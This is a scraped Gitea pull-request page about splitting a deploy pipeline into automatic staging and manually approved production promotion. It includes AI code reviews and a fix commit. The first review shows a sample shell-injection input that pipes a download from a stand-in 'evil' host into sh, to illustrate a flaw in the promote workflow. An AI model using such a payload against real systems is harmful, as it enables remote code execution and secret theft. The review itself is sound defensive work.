Changes the deploy model from fully automatic to two-stage with a second human approval:
Merge → staging (automatic, unchanged): build once (sha-* + staging tags), staging Portainer webhook, Playwright e2e gate. The pipeline now stops here — the auto-promotion job is removed from deploy.yml.
Staging → production (new, manual): Actions → "Promote to Production (manual)" → Run workflow. Leave the SHA empty to promote the latest main, or paste a specific commit. The workflow refuses commits whose E2E Journeys against Staging status isn't green, retags the images :prod (saving :prod-previous), triggers the prod webhook, and health-checks.
Rollback: re-run the promote workflow with the last good SHA, or retag :prod-previous → :prod manually (recipe in docs/DEPLOY.md).
Promotion granularity: staging always runs the latest main — promoting approves a state of main, not a single PR.
⚠️ Between merging this PR and the first promote run, production receives no deployments (expected — that's the point).
Changes the deploy model from fully automatic to two-stage with a second human approval:
1. **Merge → staging (automatic, unchanged):** build once (`sha-*` + `staging` tags), staging Portainer webhook, Playwright e2e gate. The pipeline now **stops here** — the auto-promotion job is removed from `deploy.yml`.
2. **Staging → production (new, manual):** Actions → **"Promote to Production (manual)"** → Run workflow. Leave the SHA empty to promote the latest main, or paste a specific commit. The workflow refuses commits whose `E2E Journeys against Staging` status isn't green, retags the images `:prod` (saving `:prod-previous`), triggers the prod webhook, and health-checks.
**Rollback:** re-run the promote workflow with the last good SHA, or retag `:prod-previous` → `:prod` manually (recipe in `docs/DEPLOY.md`).
**Promotion granularity:** staging always runs the latest main — promoting approves a state of main, not a single PR.
⚠️ Between merging this PR and the first promote run, production receives no deployments (expected — that's the point).
🤖 Generated with [Claude Code](https://claude.com/claude-code)
https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
This PR splits the previous single-stage staging→production deploy pipeline into two Gitea Actions workflows: deploy.yml now stops after the staging E2E gate, and a new promote.yml adds a manual workflow_dispatch step that verifies the E2E gate passed before retagging images to :prod. Docs are updated consistently and the split itself is sound, but the new promote.yml has a script-injection vulnerability in how it handles the user-supplied SHA input.
🔴 Severe (blocks merge)
.gitea/workflows/promote.yml: Line 31 splices the untrusted workflow_dispatch input directly into a shell script via SHA_INPUT="${{ gitea.event.inputs.sha }}" instead of passing it through an env: variable. Anyone able to trigger this workflow can supply an input like foo"; curl -s https://evil/x | sh # to break out of the quoted assignment and run arbitrary shell commands in a job that holds REGISTRY_TOKEN (Gitea API + container registry push) and PORTAINER_PROD_WEBHOOK. This allows secret exfiltration or pushing arbitrary content to the :prod tag, bypassing the E2E gate entirely — the exact production-corruption/secret-leak scenario the gate is meant to prevent. Fix by passing the input via env: SHA_INPUT: ${{ gitea.event.inputs.sha }} and referencing $SHA_INPUT in the script body, never interpolating the ${{ }} expression directly into run:.
🟡 Minor
.gitea/workflows/promote.yml: The resolved SHA is never checked to be an ancestor of main — workflow_dispatch lets the operator pick any branch/tag to run from, and an empty sha input falls back to that ref's tip rather than main's tip specifically. In practice this is constrained by the E2E-status check (only commits deployed via deploy.yml on push-to-main will have a green 'E2E Journeys against Staging' status), but the workflow doesn't make the main-only invariant explicit or enforced.
.gitea/workflows/promote.yml: No concurrency: group guards this workflow, so two overlapping manual runs (or a manual run overlapping a fresh push-triggered staging deploy that changes what :sha-* points to) could interleave retagging steps and leave :prod-previous/:prod in an inconsistent state.
## 🤖 AI Code Review (Claude Code)
This PR splits the previous single-stage staging→production deploy pipeline into two Gitea Actions workflows: deploy.yml now stops after the staging E2E gate, and a new promote.yml adds a manual workflow_dispatch step that verifies the E2E gate passed before retagging images to :prod. Docs are updated consistently and the split itself is sound, but the new promote.yml has a script-injection vulnerability in how it handles the user-supplied SHA input.
### 🔴 Severe (blocks merge)
- **.gitea/workflows/promote.yml**: Line 31 splices the untrusted workflow_dispatch input directly into a shell script via `SHA_INPUT="${{ gitea.event.inputs.sha }}"` instead of passing it through an `env:` variable. Anyone able to trigger this workflow can supply an input like `foo"; curl -s https://evil/x | sh #` to break out of the quoted assignment and run arbitrary shell commands in a job that holds REGISTRY_TOKEN (Gitea API + container registry push) and PORTAINER_PROD_WEBHOOK. This allows secret exfiltration or pushing arbitrary content to the `:prod` tag, bypassing the E2E gate entirely — the exact production-corruption/secret-leak scenario the gate is meant to prevent. Fix by passing the input via `env: SHA_INPUT: ${{ gitea.event.inputs.sha }}` and referencing `$SHA_INPUT` in the script body, never interpolating the `${{ }}` expression directly into `run:`.
### 🟡 Minor
- **.gitea/workflows/promote.yml**: The resolved SHA is never checked to be an ancestor of `main` — workflow_dispatch lets the operator pick any branch/tag to run from, and an empty `sha` input falls back to that ref's tip rather than main's tip specifically. In practice this is constrained by the E2E-status check (only commits deployed via deploy.yml on push-to-main will have a green 'E2E Journeys against Staging' status), but the workflow doesn't make the main-only invariant explicit or enforced.
- **.gitea/workflows/promote.yml**: No `concurrency:` group guards this workflow, so two overlapping manual runs (or a manual run overlapping a fresh push-triggered staging deploy that changes what `:sha-*` points to) could interleave retagging steps and leave `:prod-previous`/`:prod` in an inconsistent state.
Addresses the AI review findings on PR #33:
- severe: the workflow_dispatch sha input was interpolated directly into
the run script (shell injection with REGISTRY_TOKEN + prod webhook in
scope). It now reaches the shell only via env, is rejected if it
starts with '-', and is resolved locally with git rev-parse.
- minor: the resolved sha must be a 40-hex ancestor of origin/main —
non-main refs are refused explicitly instead of implicitly.
- minor: a prod-promotion concurrency group serialises promotions
(cancel-in-progress: false).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
This PR splits the previous single-stage deploy.yml (which auto-promoted staging images to production after the E2E gate) into an automatic staging-only pipeline plus a new manual workflow_dispatch promote.yml requiring a second human approval. The promote workflow validates the target SHA as a real, main-ancestor commit via env-isolated (non-interpolated) shell handling before use, and refuses to promote a commit unless its 'E2E Journeys against Staging' status is green — this is a well-hardened design, and docs (claude.md, DEPLOY.md) are updated consistently with the new flow. No severe issues found; a couple of minor robustness/security-hygiene gaps remain.
🟡 Minor
.gitea/workflows/promote.yml: The checkout step doesn't pin ref: main and the ancestry/ ancestry check is done against origin/main rather than the ref the workflow itself runs from. If workflow_dispatch is ever invoked against a non-main branch containing a modified promote.yml (e.g. one with the ancestry/E2E checks weakened or removed), that branch's version of the workflow executes and could bypass the two-approval gate this PR is meant to enforce. Consider explicitly checking out/pinning main and/or restricting who can dispatch workflows from non-default branches.
.gitea/workflows/promote.yml: The E2E-gate check accepts any historical 'success' status matching the context substring for the commit, not necessarily the most recent result. If a commit's E2E run is later re-run and fails, an earlier passing result would still satisfy the gate and allow promotion.
docs/superpowers/plans/2026-07-13-staged-prod-promotion.md: The embedded promote.yml draft in Task 2 is an earlier, less-secure version than what was actually shipped: it splices the untrusted ${{ gitea.event.inputs.sha }} input directly into run: (shell-injection risk) and omits the main-ancestry check present in the real .gitea/workflows/promote.yml. Leaving the stale snippet in the plan risks a future reader copying the weaker version.
## 🤖 AI Code Review (Claude Code)
This PR splits the previous single-stage deploy.yml (which auto-promoted staging images to production after the E2E gate) into an automatic staging-only pipeline plus a new manual workflow_dispatch promote.yml requiring a second human approval. The promote workflow validates the target SHA as a real, main-ancestor commit via env-isolated (non-interpolated) shell handling before use, and refuses to promote a commit unless its 'E2E Journeys against Staging' status is green — this is a well-hardened design, and docs (claude.md, DEPLOY.md) are updated consistently with the new flow. No severe issues found; a couple of minor robustness/security-hygiene gaps remain.
### 🟡 Minor
- **.gitea/workflows/promote.yml**: The checkout step doesn't pin `ref: main` and the ancestry/ ancestry check is done against `origin/main` rather than the ref the workflow itself runs from. If workflow_dispatch is ever invoked against a non-main branch containing a modified promote.yml (e.g. one with the ancestry/E2E checks weakened or removed), that branch's version of the workflow executes and could bypass the two-approval gate this PR is meant to enforce. Consider explicitly checking out/pinning `main` and/or restricting who can dispatch workflows from non-default branches.
- **.gitea/workflows/promote.yml**: The E2E-gate check accepts any historical 'success' status matching the context substring for the commit, not necessarily the most recent result. If a commit's E2E run is later re-run and fails, an earlier passing result would still satisfy the gate and allow promotion.
- **docs/superpowers/plans/2026-07-13-staged-prod-promotion.md**: The embedded promote.yml draft in Task 2 is an earlier, less-secure version than what was actually shipped: it splices the untrusted `${{ gitea.event.inputs.sha }}` input directly into `run:` (shell-injection risk) and omits the main-ancestry check present in the real .gitea/workflows/promote.yml. Leaving the stale snippet in the plan risks a future reader copying the weaker version.
tudor
merged commit 9799ad9b43 into main2026-07-13 12:30:19 +00:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Changes the deploy model from fully automatic to two-stage with a second human approval:
sha-*+stagingtags), staging Portainer webhook, Playwright e2e gate. The pipeline now stops here — the auto-promotion job is removed fromdeploy.yml.E2E Journeys against Stagingstatus isn't green, retags the images:prod(saving:prod-previous), triggers the prod webhook, and health-checks.Rollback: re-run the promote workflow with the last good SHA, or retag
:prod-previous→:prodmanually (recipe indocs/DEPLOY.md).Promotion granularity: staging always runs the latest main — promoting approves a state of main, not a single PR.
⚠️ Between merging this PR and the first promote run, production receives no deployments (expected — that's the point).
🤖 Generated with Claude Code
https://claude.ai/code/session_0146VHeLAWjDVE2B5uU67jCB
🤖 AI Code Review (Claude Code)
This PR splits the previous single-stage staging→production deploy pipeline into two Gitea Actions workflows: deploy.yml now stops after the staging E2E gate, and a new promote.yml adds a manual workflow_dispatch step that verifies the E2E gate passed before retagging images to :prod. Docs are updated consistently and the split itself is sound, but the new promote.yml has a script-injection vulnerability in how it handles the user-supplied SHA input.
🔴 Severe (blocks merge)
SHA_INPUT="${{ gitea.event.inputs.sha }}"instead of passing it through anenv:variable. Anyone able to trigger this workflow can supply an input likefoo"; curl -s https://evil/x | sh #to break out of the quoted assignment and run arbitrary shell commands in a job that holds REGISTRY_TOKEN (Gitea API + container registry push) and PORTAINER_PROD_WEBHOOK. This allows secret exfiltration or pushing arbitrary content to the:prodtag, bypassing the E2E gate entirely — the exact production-corruption/secret-leak scenario the gate is meant to prevent. Fix by passing the input viaenv: SHA_INPUT: ${{ gitea.event.inputs.sha }}and referencing$SHA_INPUTin the script body, never interpolating the${{ }}expression directly intorun:.🟡 Minor
main— workflow_dispatch lets the operator pick any branch/tag to run from, and an emptyshainput falls back to that ref's tip rather than main's tip specifically. In practice this is constrained by the E2E-status check (only commits deployed via deploy.yml on push-to-main will have a green 'E2E Journeys against Staging' status), but the workflow doesn't make the main-only invariant explicit or enforced.concurrency:group guards this workflow, so two overlapping manual runs (or a manual run overlapping a fresh push-triggered staging deploy that changes what:sha-*points to) could interleave retagging steps and leave:prod-previous/:prodin an inconsistent state.🤖 AI Code Review (Claude Code)
This PR splits the previous single-stage deploy.yml (which auto-promoted staging images to production after the E2E gate) into an automatic staging-only pipeline plus a new manual workflow_dispatch promote.yml requiring a second human approval. The promote workflow validates the target SHA as a real, main-ancestor commit via env-isolated (non-interpolated) shell handling before use, and refuses to promote a commit unless its 'E2E Journeys against Staging' status is green — this is a well-hardened design, and docs (claude.md, DEPLOY.md) are updated consistently with the new flow. No severe issues found; a couple of minor robustness/security-hygiene gaps remain.
🟡 Minor
ref: mainand the ancestry/ ancestry check is done againstorigin/mainrather than the ref the workflow itself runs from. If workflow_dispatch is ever invoked against a non-main branch containing a modified promote.yml (e.g. one with the ancestry/E2E checks weakened or removed), that branch's version of the workflow executes and could bypass the two-approval gate this PR is meant to enforce. Consider explicitly checking out/pinningmainand/or restricting who can dispatch workflows from non-default branches.${{ gitea.event.inputs.sha }}input directly intorun:(shell-injection risk) and omits the main-ancestry check present in the real .gitea/workflows/promote.yml. Leaving the stale snippet in the plan risks a future reader copying the weaker version.